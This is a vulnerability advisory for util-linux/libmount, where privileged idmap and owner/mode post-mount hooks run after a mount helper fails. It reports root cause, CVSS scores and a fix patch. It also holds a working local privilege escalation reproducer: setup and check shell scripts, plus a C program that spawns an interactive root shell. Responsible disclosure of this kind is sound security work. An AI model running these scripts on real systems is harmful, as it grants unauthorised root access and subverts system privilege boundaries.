GHSA-m25x-3hj9-m26f
CVE Information
https://github.com/user-attachments/assets/26f9dd57-108d-4b41-9a1e-e945551d0f2e
Summary
I am reporting a possible previously unknown util-linux/libmount vulnerability. This draft does not assert that a new CVE has been assigned or that private duplicates do not exist.
When an external
mount.<type>helper executes but exits nonzero, libmount records the helper's failure yet internally returns success fromexec_helper(). It consequently runs privileged post-mount hooks as if the helper had mounted the requested filesystem.I confirmed the issue independently on Debian Trixie
2.41-5, Debian sid2.42.2-2, and upstream master. The two effects use a root-owned helper that is simply a symlink to/usr/bin/false:
X-mount.idmapcloned and idmapped the filesystem already underneath the target after the helper exited 1. The clone inheritedsuid,execfrom the root filesystem even though the root-controlledfstabentry specifiednosuid,nodev,noexec. UID 1000 created a raw UID 0 mode-4755 ELF and executed it through a pre-existing raw directory descriptor, producing EUID 0.- In a separate test without idmap,
X-mount.owner/group/modechanged the physical target inode from0755 root:rootto0700 1000:1000after the same helper failure, while no mount was created.Both operations are deterministic. Source and target remain fixed; there is no symlink substitution, race, malicious helper, or successful helper mount.
mount(8)returns status 1 in both cases, so the caller sees failure after the privileged effects have occurred.The EUID-0 probe only prints real/effective UID/GID and exits. It was deleted before unmounting, and no shell or persistence mechanism was created.
Tested build and environment
- Debian Trixie stock
mount/libmount12.41-5;- official Debian sid
mount/libmount12.42.2-2;- upstream master
0f1198780cb90e388e037339662b15972f62c30b;- Linux
6.12.94+deb13-amd64;/usr/bin/mountSUID root, real UID/GID 1000;- two disposable QEMU snapshots;
- ext4 target under
/srv/helperpost-victim;- benign helper
/sbin/mount.helperpost -> /usr/bin/false, root-owned.92253cf919646b4a0242998526d35eea39204dff0363e74086290d63ccb39fed mount, Trixie 2.41-5 3657d314b5f4915f2bdd8086e71d31dc8267bca04df236c4755c8d3b7c5fa24f libmount.so.1, Trixie 2.41-5 2216352b317739e4215c75ba24a870d9fbdb51653b2981316e882f3f962cb183 mount, sid 2.42.2-2 30c8e6bd419e31b8bc3f762ee4b205c83970fe3d705088cd5bb92558b3b09db8 libmount.so.1, sid 2.42.2-2 e5548ded319cbb0ed0d4faa9f3cfe6543007dd9aa9ca0c2d7e257c844b3ea709 /usr/bin/mount 574c2e351793d2c721babfd78579d6126a464fa6ea4b9e27b0b5cc7e98936d3d /usr/lib/x86_64-linux-gnu/libmount.so.1No installed real helper was suitable for a controlled failure.
/usr/bin/falsewas used specifically to simulate a benign helper failure; it has no mounting, mutation, logging, or attacker-controlled behavior.Test A: failed helper followed by idmapped root-filesystem clone
The root-controlled entry was:
/home/research/helperpost/source /srv/helperpost-victim/target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=b:0:1000:1 0 0The source is a fixed regular file. The target is a fixed, physical ext4 directory owned by root, with a
0600 root:rootmarker. UID 1000 opens a directory FD before invoking mount, then confirms it cannot access the raw marker.The helper and CLI both return 1. Nevertheless, an exact idmapped mount appears at the target:
helper_direct_rc=1 raw_dir_fd=9 devino=65024:14656 target=/srv/helperpost-victim/target mount_rc=1 helper_status_via_mount_excode=1 /dev/vda[/srv/helperpost-victim/target] /srv/helperpost-victim/target ext4 rw,relatime,idmapped inherited_suid=yes inherited_exec=yes vfs_options=rw,relatime,idmappedThe same inode is mapped to UID 1000 and becomes readable through the clone, while the preserved raw view remains UID 0 and denied:
mapped_secret=600 1000:1000 65024:14667 raw_secret=600 0:0 65024:14667 mapped_content=HELPERPOST_ROOT_ONLY_SECRET raw_read_rc=1Safe EUID-0 demonstration
The attached ELF prints IDs and exits. UID 1000 copies it through the mapped view and applies mode 4755:
mapped_probe=4755 1000:1000 65024:14668 raw_probe=4755 0:0 65024:14668Executing it through the mapped view is the control; executing the same inode through the raw FD demonstrates the privilege boundary:
mapped_exec=probe ruid=1000 euid=1000 rgid=1000 egid=1000 rc=0 raw_fd_exec=probe ruid=1000 euid=0 rgid=1000 egid=1000 rc=0 probe_removed=1The probe is removed while the mapped view is still present, and the check verifies its absence from both views before returning.
The complete idmap and owner checks returned zero independently on all three builds. Trixie used target/secret/probe devinos
65024:14602/65024:14603/65024:14604; sid used65024:8342/65024:8429/65024:8446. For each build, mapped and raw probe devinos were identical, mapped execution remained EUID 1000, and raw-FD execution produced EUID 0.Test B: failed helper followed by physical owner/mode mutation
A separate setup used:
/home/research/helperpost/source /srv/helperpost-victim/mode-target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=1000,X-mount.group=1000,X-mount.mode=0700 0 0No mount was created. The same physical inode changed after the helper and CLI returned 1:
helper_direct_rc=1 mount_rc=1 helper_status_via_mount_excode=1 before mode=755 owner=0:0 devino=65024:14655 after mode=700 owner=1000:1000 devino=65024:14655 proof mode=600 owner=1000:1000 devino=65024:14667Root cause
context_mount.c::exec_helper()stores the child exit code separately but returns zero whenever fork/exec/wait succeeded, except for the specialMNT_EX_EXECvalue:cxt->helper_status = WIFEXITED(st) ? WEXITSTATUS(st) : -1; cxt->helper_exec_status = rc = 0;That zero reaches
mnt_context_do_mount(), which runs allMNT_STAGE_MOUNT_POSThooks:if (res == 0) rc = mnt_context_call_hooks(cxt, MNT_STAGE_MOUNT_POST);The idmap post-hook does not inspect the helper status. Because an external helper does not provide a new-API tree FD, it clones the current target path, applies the user namespace mapping, and attaches that clone. It therefore acts on the pre-existing underlying filesystem rather than a helper-created mount.
The normal VFS-flag hook is conditioned on
cxt->helper == NULL. Thus the failed-helper path does not apply thenosuid,nodev,noexecflags fromfstab; the idmapped clone inherits the root mount'ssuid,execstate.After the post-mount stage returns zero,
mnt_context_mount()also runsMNT_STAGE_POST. The owner hook uses the pinned target FD for privilegedfchownat()andchmod()without checking helper status.The CLI eventually reports exit 1 because
mnt_context_get_mount_excode()returnshelper_statuswhenever a helper was executed. The visible failure does not roll back or prevent the post-hook effects.Security impact and prerequisites
The demonstrated LPE requires:
- SUID-root
mount(8)and a root-controlledfstabentry usable by the local account;- an external filesystem helper that exits nonzero;
X-mount.idmap=b:0:<uid>:1in that entry;- a traversable target on an idmap-capable filesystem;
- a
suid,execunderlying mount for this exact SUID chain.The helper remains root-controlled and need not be vulnerable or malicious. A normal validation, network, device, authentication, or transient error that causes a nonzero exit is sufficient.
The idmap primitive provides raw-root read/write. In the tested configuration, skipping
nosuid,noexecmade it a deterministic EUID-0 primitive. Suggested classification is CWE-390, with secondary CWE-269. Provisional CVSS 3.1:CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H(7.8). Provisional CVSS 4.0:CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N(8.5). The uncommonfstabprerequisites should remain prominent even though they are not represented by the base vectors.The independent owner/mode path can transfer control of an underlying root-owned directory even when no mount exists.
Remediation guidance
Post-hooks that commit privileged mount effects must not run when an executed helper has nonzero status. A narrow and low-regression fix would explicitly gate the idmap and owner/group/mode hooks on helper success.
Please audit all post-mount and post hooks and distinguish commit hooks from failure cleanup hooks. Globally skipping
MNT_STAGE_MOUNT_POSTmay accidentally skip loop-device, verity, or other cleanup, so the failure path should preserve required cleanup while preventing new mounts and metadata mutation.Regression tests should cover helper exit 0, ordinary nonzero exit, exec failure, and signal termination. After failure they should assert:
- no new mount or idmapped clone;
- no target owner/mode mutation;
- no mount-table update;
- required temporary-resource cleanup still occurs;
- the CLI preserves the helper's documented exit status.
Prototype fix validation
The attached prototype adds the helper-status guard specifically to the idmap and owner hooks, rather than suppressing the entire post-mount stage:
if (mnt_context_helper_executed(cxt) && mnt_context_get_helper_status(cxt) != 0) return 0;On the tested master commit:
- failed-helper idmap returned CLI status 1, left no overmount, preserved the physical target as
0755 root:root, and created no probe;- failed-helper owner/mode returned status 1 and left the inode unchanged;
- an exit-0 helper positive control still produced the expected idmapped mount and UID-1000 mapped marker;
- an exit-0 owner/mode control still changed the target to
0700 1000:1000;- forward and reverse patch dry-runs succeeded.
0514420cb48ced6486268c8a71b74a36fd802351d7371a171fd463d0e17d5cf8 patches/helper-failure-posthooks-fix.patch 7d7bd21ba69ae30797ef571ee2c43e2521530fe41e0a43b2d495f61d0783458f patched mount 5c18c3b96fbf8c4699d057185ab3da61ad4d03444b84c71260cb5a71a8ebfc22 patched libmount.so.1 8d6e488dce9111e13f9ffd13c1a945954c918e45e10527006f1a55e66bc5408f patched libblkid.so.1The complete prototype patch (included inline because the advisory body cannot carry file attachments):
diff --git a/libmount/src/hook_idmap.c b/libmount/src/hook_idmap.c index 8be6cdc1..fe905afb 100644 --- a/libmount/src/hook_idmap.c +++ b/libmount/src/hook_idmap.c @@ -310,6 +310,15 @@ static int hook_mount_post( assert(target); assert(hd->userns_fd >= 0); + /* exec_helper() reports successful process execution separately from + * the helper's exit status. Do not transform the pre-existing target + * mount when the external helper did not mount anything successfully. */ + if (mnt_context_helper_executed(cxt) + && mnt_context_get_helper_status(cxt) != 0) { + DBG_OBJ(HOOK, hs, ul_debug(" skip idmap after failed helper")); + return 0; + } + DBG_OBJ(HOOK, hs, ul_debug(" attaching namespace to %s", target)); /* diff --git a/libmount/src/hook_owner.c b/libmount/src/hook_owner.c index e8e92c2f..1647191b 100644 --- a/libmount/src/hook_owner.c +++ b/libmount/src/hook_owner.c @@ -56,6 +56,13 @@ static int hook_post( if (!hd || !cxt->fs) return 0; + /* A helper may have been executed successfully but still returned a + * failure status. In that case there is no successful mount whose target + * ownership or mode should be changed. */ + if (mnt_context_helper_executed(cxt) + && mnt_context_get_helper_status(cxt) != 0) + return 0; + target = mnt_fs_get_target(cxt->fs); if (!target) return 0;Reproducer bundle
256bc080cd25281e5f59e07ae60187e5d55c5ccdfa405d6754a98b68e3eb642e reproducer/setup.sh ee55e9725cf35c136f2b227f49bf768d7ba838e5d66b270ac8873158d5f23fe2 reproducer/check.sh 6339548de3f2186bed4230206ef5db37ec9d5eb0e614894b8f66d6d6d1387b43 reproducer/helperpost-uid-probe.c 8ab483dacc5a6f1b2f3795b8a54204a165fde2751bf4feb9731c0d7d2ed9348a tested helperpost-uid-probe binary 0514420cb48ced6486268c8a71b74a36fd802351d7371a171fd463d0e17d5cf8 patches/helper-failure-posthooks-fix.patchInside the disposable guest, compile the benign probe in a private root-owned directory, then run (argument = unprivileged test account; the scripts derive all UIDs, GIDs, and paths from it):
install -d -m 0700 /root/helperpost-probe-build cc -O2 -Wall -Wextra -Werror \ -o /root/helperpost-probe-build/helperpost-uid-probe \ reproducer/helperpost-uid-probe.c ./reproducer/setup.sh idmap <testuser> runuser -u <testuser> -- ./reproducer/check.sh idmap ./reproducer/setup.sh owner <testuser> runuser -u <testuser> -- ./reproducer/check.sh owner ./reproducer/setup.sh cleanup <testuser> rm -f /root/helperpost-probe-build/helperpost-uid-probe rmdir /root/helperpost-probe-buildThe scripts use a fixed
PATH, refuse an unexpected helper, require root-owned sentinels before removing a pre-existing fixture tree, and validate matchingfstabentries. Negative safety controls confirmed that an unsentinelled tree and an unrelatedfstabentry are rejected and preserved. The hardened bundle then reproduced both effects and cleaned completely in a fresh snapshot.Simplified root-shell demonstration
A companion package contains a minimal end-to-end demonstration of the same primitive intended for a disposable VM and a demonstration recording. The probe variant is allowed to start an interactive shell so the recording shows the unprivileged caller reaching
uid=0directly, withoutsudo,su, orrunuserin the trigger command. Because the advisory body cannot carry file attachments, the complete sources are included inline below.Usage in the disposable guest:
# as root, once (argument = unprivileged test account; defaults to $SUDO_USER): install -d -m 0700 /root/helperpost-probe-build cc -O2 -Wall -Wextra -Werror \ -o /root/helperpost-probe-build/helperpost-root-shell-demo \ helperpost-root-shell-demo.c PROBE_BIN=/root/helperpost-probe-build/helperpost-root-shell-demo \ ./setup-sosa.sh idmap <testuser> # as that unprivileged user (interactive login, no sudo/su/runuser): env HELPERPOST_DEMO_ROOT_SHELL=I_UNDERSTAND_THIS_IS_A_DISPOSABLE_VM \ ./check-sosa.sh idmap # ... terminal shows a root prompt; id reports uid=0(root) ... exit # as root, afterwards: ./setup-sosa.sh cleanup <testuser>helperpost-root-shell-demo.c
#define _GNU_SOURCE #include <fcntl.h> #include <grp.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define ARM_VALUE "I_UNDERSTAND_THIS_IS_A_DISPOSABLE_VM" static int set_root_identity(int ttyfd) { if (setgroups(0, NULL) != 0) { dprintf(ttyfd, "setgroups: failed\n"); return -1; } if (setresgid(0, 0, 0) != 0) { dprintf(ttyfd, "setresgid: failed\n"); return -1; } if (setresuid(0, 0, 0) != 0) { dprintf(ttyfd, "setresuid: failed\n"); return -1; } return 0; } int main(void) { uid_t ruid = getuid(); uid_t euid = geteuid(); gid_t rgid = getgid(); gid_t egid = getegid(); const char *armed = getenv("HELPERPOST_DEMO_ROOT_SHELL"); const char *term_env = getenv("TERM"); char term[128] = "xterm"; int ttyfd; /* Preserve the exact output expected by the normal verifier. */ printf("probe ruid=%ld euid=%ld rgid=%ld egid=%ld\n", (long) ruid, (long) euid, (long) rgid, (long) egid); fflush(stdout); /* The mapped-view control must remain an ordinary unprivileged execution. */ if (euid != 0) return 0; if (!armed || strcmp(armed, ARM_VALUE) != 0) { fprintf(stderr, "root-shell demo is disarmed; set HELPERPOST_DEMO_ROOT_SHELL=%s\n", ARM_VALUE); return 2; } if (term_env && *term_env) snprintf(term, sizeof(term), "%s", term_env); /* The verifier captures stdout, so reconnect the demo shell to the TTY. */ ttyfd = open("/dev/tty", O_RDWR | O_CLOEXEC); if (ttyfd < 0) { perror("open /dev/tty"); return 3; } if (set_root_identity(ttyfd) != 0) { close(ttyfd); return 4; } if (clearenv() != 0) { dprintf(ttyfd, "clearenv: failed\n"); close(ttyfd); return 5; } if (setenv("PATH", "/usr/sbin:/usr/bin:/sbin:/bin", 1) != 0 || setenv("HOME", "/root", 1) != 0 || setenv("USER", "root", 1) != 0 || setenv("LOGNAME", "root", 1) != 0 || setenv("SHELL", "/bin/bash", 1) != 0 || setenv("TERM", term, 1) != 0 || setenv("LANG", "C", 1) != 0 || setenv("HISTFILE", "/dev/null", 1) != 0 || setenv("PS1", "root-demo# ", 1) != 0) { dprintf(ttyfd, "setenv: failed\n"); close(ttyfd); return 6; } if (chdir("/root") != 0) (void) chdir("/"); dprintf(ttyfd, "\n=== DEMO-ONLY ROOT SHELL (disposable VM) ===\n" "uid=%ld(root) euid=%ld(root) gid=%ld(root) egid=%ld(root)\n" "Run 'id' and 'whoami' for the recording, then type 'exit'.\n\n", (long) getuid(), (long) geteuid(), (long) getgid(), (long) getegid()); if (dup2(ttyfd, STDIN_FILENO) < 0 || dup2(ttyfd, STDOUT_FILENO) < 0 || dup2(ttyfd, STDERR_FILENO) < 0) { dprintf(ttyfd, "dup2: failed\n"); close(ttyfd); return 7; } if (ttyfd > STDERR_FILENO) close(ttyfd); execl("/bin/bash", "bash", "--noprofile", "--norc", "-p", "-i", (char *) NULL); perror("execl /bin/bash"); return 8; }setup-sosa.sh
#!/bin/sh set -eu PATH=/usr/sbin:/usr/bin:/sbin:/bin export PATH mode=${1:-idmap} # target account: $2, or the sudo invoker, or sosa as a last default lab_user=${2:-${SUDO_USER:-sosa}} probe_input=${PROBE_BIN:-/root/helperpost-probe-build/helperpost-root-shell-demo} lab_uid=$(id -u "$lab_user" 2>/dev/null || true) lab_gid=$(id -g "$lab_user" 2>/dev/null || true) lab_home=$(getent passwd "$lab_user" 2>/dev/null | cut -d: -f6 || true) base=$lab_home/helperpost victim=/srv/helperpost-victim sentinel_text=UTIL_LINUX_HELPERPOST_SOSA_DEMO_V1 base_marker=$base/.helperpost-lab-sentinel victim_marker=$victim/.helperpost-lab-sentinel source_path=$base/source probe_template=$base/uid-probe idmap_target=$victim/target owner_target=$victim/mode-target helper=/sbin/mount.helperpost idmap_spec="u:0:$lab_uid:1\040g:0:$lab_gid:1" idmap_line="$source_path $idmap_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=$idmap_spec 0 0" owner_line="$source_path $owner_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=$lab_uid,X-mount.group=$lab_gid,X-mount.mode=0700 0 0" if [ "$(id -u)" -ne 0 ]; then echo "ERROR: setup must run as root inside the disposable guest" >&2 exit 2 fi case "$mode" in idmap|owner|cleanup) ;; *) echo "usage: $0 {idmap|owner|cleanup} [USER]" >&2; exit 2 ;; esac case "$victim:$helper" in /srv/helperpost-victim:/sbin/mount.helperpost) ;; *) echo "ERROR: unexpected lab paths" >&2; exit 3 ;; esac if [ -z "$lab_uid" ] || [ -z "$lab_gid" ] || [ "$lab_uid" -eq 0 ] || [ ! -d "$lab_home" ]; then echo "ERROR: fixture expects an unprivileged local account with a home directory" >&2 exit 4 fi valid_marker() { marker=$1 [ -f "$marker" ] \ && [ ! -L "$marker" ] \ && [ "$(stat -c '%u:%g:%a' "$marker" 2>/dev/null || true)" = 0:0:600 ] \ && [ "$(cat "$marker" 2>/dev/null || true)" = "$sentinel_text" ] } base_owned=0 if [ -e "$base" ] || [ -L "$base" ]; then if [ ! -d "$base" ] || [ -L "$base" ] || ! valid_marker "$base_marker"; then echo "ERROR: refusing pre-existing unsentinelled tree $base" >&2 exit 5 fi base_owned=1 fi victim_owned=0 if [ -e "$victim" ] || [ -L "$victim" ]; then if [ ! -d "$victim" ] || [ -L "$victim" ] || ! valid_marker "$victim_marker"; then echo "ERROR: refusing pre-existing unsentinelled tree $victim" >&2 exit 5 fi victim_owned=1 fi check_fstab_target() { target_path=$1 expected_line=$2 existing=$(awk -v target="$target_path" '$2 == target { print }' /etc/fstab) if [ -n "$existing" ] && [ "$existing" != "$expected_line" ]; then echo "ERROR: refusing unexpected fstab entry for $target_path" >&2 exit 5 fi if [ -n "$existing" ] \ && { [ "$base_owned" -ne 1 ] || [ "$victim_owned" -ne 1 ]; }; then echo "ERROR: refusing unsentinelled fstab entry for $target_path" >&2 exit 5 fi } check_fstab_target "$idmap_target" "$idmap_line" check_fstab_target "$owner_target" "$owner_line" # Never overwrite an unrelated filesystem helper. if [ -e "$helper" ] || [ -L "$helper" ]; then if [ ! -L "$helper" ] \ || [ "$(readlink "$helper")" != /usr/bin/false ] \ || [ "$base_owned" -ne 1 ]; then echo "ERROR: refusing to replace unexpected helper $helper" >&2 exit 6 fi fi # Tear down only exact sacrificial mountpoints, including stacked leftovers. if [ "$victim_owned" -eq 1 ]; then for path in "$idmap_target" "$owner_target"; do i=0 while mountpoint -q "$path" 2>/dev/null; do umount -l "$path" i=$((i + 1)) [ "$i" -lt 20 ] || { echo "ERROR: too many lab mounts" >&2; exit 7; } done done fi sed -i "\|^[^[:space:]]*[[:space:]]$idmap_target[[:space:]]|d" /etc/fstab sed -i "\|^[^[:space:]]*[[:space:]]$owner_target[[:space:]]|d" /etc/fstab [ "$base_owned" -eq 0 ] || rm -rf -- "$base" [ "$victim_owned" -eq 0 ] || rm -rf -- "$victim" rm -f -- "$helper" if [ "$mode" = cleanup ]; then echo "CLEAN: helper-failure post-hook fixture removed" exit 0 fi install -d -m 0755 -o "$lab_uid" -g "$lab_gid" "$base" install -d -m 0755 -o root -g root "$victim" install -m 0600 -o root -g root /dev/null "$base_marker" install -m 0600 -o root -g root /dev/null "$victim_marker" printf '%s\n' "$sentinel_text" > "$base_marker" printf '%s\n' "$sentinel_text" > "$victim_marker" install -m 0644 -o "$lab_uid" -g "$lab_gid" /dev/null "$source_path" ln -s /usr/bin/false "$helper" chown -h root:root "$helper" case "$mode" in idmap) [ -f "$probe_input" ] && [ -x "$probe_input" ] || { echo "ERROR: compile helperpost-root-shell-demo.c as $probe_input first" >&2 exit 8 } install -m 0755 -o root -g root "$probe_input" "$probe_template" install -d -m 0755 -o root -g root "$idmap_target" printf '%s\n' HELPERPOST_ROOT_ONLY_SECRET > "$idmap_target/secret" chown root:root "$idmap_target/secret" chmod 0600 "$idmap_target/secret" printf '%s\n' "$idmap_line" >> /etc/fstab target=$idmap_target line=$idmap_line ;; owner) install -d -m 0755 -o root -g root "$owner_target" printf '%s\n' HELPERPOST_MODE_ROOT_ONLY > "$owner_target/secret" chown root:root "$owner_target/secret" chmod 0600 "$owner_target/secret" printf '%s\n' "$owner_line" >> /etc/fstab target=$owner_target line=$owner_line ;; esac echo "[fixture mode=$mode] benign external helper always exits 1" printf 'helper=%s -> %s owner=%s\n' "$helper" "$(readlink "$helper")" \ "$(stat -c '%u:%g' "$helper")" printf 'fstab=%s\n' "$line" stat -c 'target mode=%a owner=%u:%g devino=%d:%i path=%n' "$target" stat -c 'secret mode=%a owner=%u:%g devino=%d:%i path=%n' "$target/secret" if [ "$mode" = idmap ]; then sha256sum "$probe_template"; ficheck-sosa.sh
#!/bin/sh set -eu PATH=/usr/sbin:/usr/bin:/sbin:/bin export PATH mode=${1:-idmap} mount_bin=${MOUNT_BIN:-/usr/bin/mount} libmount_path=${LIBMOUNT_PATH:-/usr/lib/x86_64-linux-gnu/libmount.so.1} # derive everything from the invoking unprivileged account lab_user=$(id -un) lab_uid=$(id -u) lab_gid=$(id -g) lab_home=$(getent passwd "$lab_user" | cut -d: -f6) base=$lab_home/helperpost victim=/srv/helperpost-victim source_path=$base/source probe_template=$base/uid-probe idmap_target=$victim/target owner_target=$victim/mode-target helper=/sbin/mount.helperpost idmap_spec="u:0:$lab_uid:1\040g:0:$lab_gid:1" idmap_line="$source_path $idmap_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.idmap=$idmap_spec 0 0" owner_line="$source_path $owner_target helperpost user,noauto,nosuid,nodev,noexec,X-mount.owner=$lab_uid,X-mount.group=$lab_gid,X-mount.mode=0700 0 0" if [ "$lab_uid" -eq 0 ]; then echo "ERROR: check must run directly as an unprivileged account" >&2 exit 2 fi case "$mode" in idmap) target=$idmap_target; line=$idmap_line ;; owner) target=$owner_target; line=$owner_line ;; *) echo "usage: $0 {idmap|owner}" >&2; exit 2 ;; esac for tool in "$mount_bin" "$helper"; do [ -x "$tool" ] || { echo "ERROR: executable missing: $tool" >&2; exit 3; } done if [ ! -L "$helper" ] || [ "$(readlink "$helper")" != /usr/bin/false ] \ || [ "$(stat -c '%u:%g' "$helper")" != 0:0 ]; then echo "ERROR: helper is not the root-owned benign /usr/bin/false fixture" >&2 exit 4 fi if ! grep -Fqx "$line" /etc/fstab || [ ! -d "$target" ]; then echo "ERROR: expected fixture is absent" >&2 exit 5 fi if mountpoint -q "$target"; then echo "ERROR: target starts mounted" >&2 exit 6 fi echo "[build]" "$mount_bin" --version | sed -n '1,2p' sha256sum "$mount_bin" if [ -r "$libmount_path" ]; then sha256sum "$libmount_path"; fi set +e "$helper" "$source_path" "$target" helper_direct_rc=$? set -e printf 'helper_direct_rc=%s\n' "$helper_direct_rc" [ "$helper_direct_rc" -eq 1 ] || { echo "ERROR: benign helper did not exit 1" >&2; exit 7; } # ID-map/LPE branch. Preserve a descriptor to the raw directory before the # post-helper hook overmounts its pathname. [ -x "$probe_template" ] || { echo "ERROR: root-shell demo payload missing" >&2; exit 11; } [ ! -r "$target/secret" ] && [ ! -w "$target/secret" ] || { echo "ERROR: raw secret is already accessible" >&2 exit 12 } exec 9< "$target" raw_dir_devino=$(stat -Lc '%d:%i' /proc/self/fd/9) printf 'raw_dir_fd=9 devino=%s target=%s\n' "$raw_dir_devino" "$(readlink /proc/self/fd/9)" cleanup_probe() { rm -f -- "$target/probe" 2>/dev/null || true } trap cleanup_probe EXIT HUP INT TERM set +e "$mount_bin" --target "$target" mount_rc=$? set -e printf 'mount_rc=%s helper_status_via_mount_excode=%s\n' "$mount_rc" "$mount_rc" [ "$mount_rc" -eq 1 ] || { echo "ERROR: expected helper status 1" >&2; exit 13; } mountpoint -q "$target" || { echo "NOT REPRODUCED: target was not overmounted" >&2; exit 1; } vfs_options=$(findmnt -rn -M "$target" -o VFS-OPTIONS) findmnt -rn -M "$target" -o SOURCE,TARGET,FSTYPE,VFS-OPTIONS case ",$vfs_options," in *,idmapped,*) ;; *) echo "ERROR: clone is not idmapped" >&2; exit 14 ;; esac case ",$vfs_options," in *,nosuid,*) inherited_suid=no ;; *) inherited_suid=yes ;; esac case ",$vfs_options," in *,noexec,*) inherited_exec=no ;; *) inherited_exec=yes ;; esac printf 'inherited_suid=%s inherited_exec=%s vfs_options=%s\n' \ "$inherited_suid" "$inherited_exec" "$vfs_options" mapped_secret=$(stat -c '%a %u:%g %d:%i' "$target/secret") raw_secret=$(stat -c '%a %u:%g %d:%i' /proc/self/fd/9/secret) printf 'mapped_secret=%s\nraw_secret=%s\n' "$mapped_secret" "$raw_secret" mapped_content=$(cat "$target/secret") set +e cat /proc/self/fd/9/secret >/dev/null 2>&1 raw_read_rc=$? set -e printf 'mapped_content=%s raw_read_rc=%s\n' "$mapped_content" "$raw_read_rc" [ "$mapped_content" = HELPERPOST_ROOT_ONLY_SECRET ] && [ "$raw_read_rc" -ne 0 ] || { echo "ERROR: mapped/raw access separation is missing" >&2 exit 15 } cp "$probe_template" "$target/probe" chmod 4755 "$target/probe" mapped_probe=$(stat -c '%a %u:%g %d:%i' "$target/probe") raw_probe=$(stat -c '%a %u:%g %d:%i' /proc/self/fd/9/probe) printf 'mapped_probe=%s\nraw_probe=%s\n' "$mapped_probe" "$raw_probe" set +e mapped_exec=$("$target/probe" 2>&1) mapped_exec_rc=$? raw_exec=$(/proc/self/fd/9/probe 2>&1) raw_exec_rc=$? set -e printf 'mapped_exec=%s rc=%s\n' "$mapped_exec" "$mapped_exec_rc" printf 'raw_fd_exec=%s rc=%s\n' "$raw_exec" "$raw_exec_rc" cleanup_probe trap - EXIT HUP INT TERM if [ -e "$target/probe" ] || [ -e /proc/self/fd/9/probe ]; then echo "ERROR: sacrificial SUID probe was not removed" >&2 exit 16 fi echo "probe_removed=1" case "$mapped_exec" in *"ruid=$lab_uid euid=$lab_uid"*) ;; *) echo "ERROR: mapped control unexpected" >&2; exit 17 ;; esac case "$raw_exec" in *"ruid=$lab_uid euid=0"*) ;; *) echo "NOT REPRODUCED: raw descriptor execution did not gain EUID 0" >&2; exit 1 ;; esac [ "$inherited_suid:$inherited_exec" = yes:yes ] || { echo "INCOMPLETE: raw-root write exists but suid/exec flags were constrained" >&2 exit 18 } echo "ROOT CONFIRMED: interactive demo obtained UID/GID 0 and returned" echo "VULNERABLE: failed helper was followed by an unconstrained idmapped clone and interactive root-shell demo"Observed on the confirmed vulnerable build: the same terminal that started as
uid=1000(sosa)shows a root prompt, andidreports real and effective UID/GID 0. The demonstration touches only the sacrificial probe planted by the setup; cleanup removes the fixture and restores the prior state.Public duplicate check
No exact public duplicate was identified in a bounded search of util-linux issues, pull requests, commits, release notes, vendor advisories, and CVEs as of 2026-07-18. This does not prove novelty and does not exclude private or embargoed reports.
The closest historical change is the 2023 commit
f94a7760, "don't call hooks after mount.helper" . It prevented selected new-API hooks from acting after delegation to a helper, but did not test the helper's final nonzero status and did not cover the idmap and owner effects reported here.
GHSA-g8wm-75wr-g2vh/CVE-2026-53612, published on 2026-06-16, also affectshook_owner.c, but through a pathname TOCTOU race. The present issue has a different trigger and root cause: privileged post-hooks run against the legitimate target after a failed external helper, without a race, and the independent idmap hook is affected as well. Nearby issues#3208,#2130, and#2834do not involve a helper exiting nonzero.The change introducing the idmap path was
0bbc62dd(authored on 2022-06-01 and committed on 2023-01-03) and was first released in util-linux2.39on 2023-05-17. The source-history-derived affected range is>= 2.39through the tested master0f119878as of 2026-07-18. Versions2.41-5,2.42.2-2, and that master were dynamically verified;2.39itself was not dynamically tested.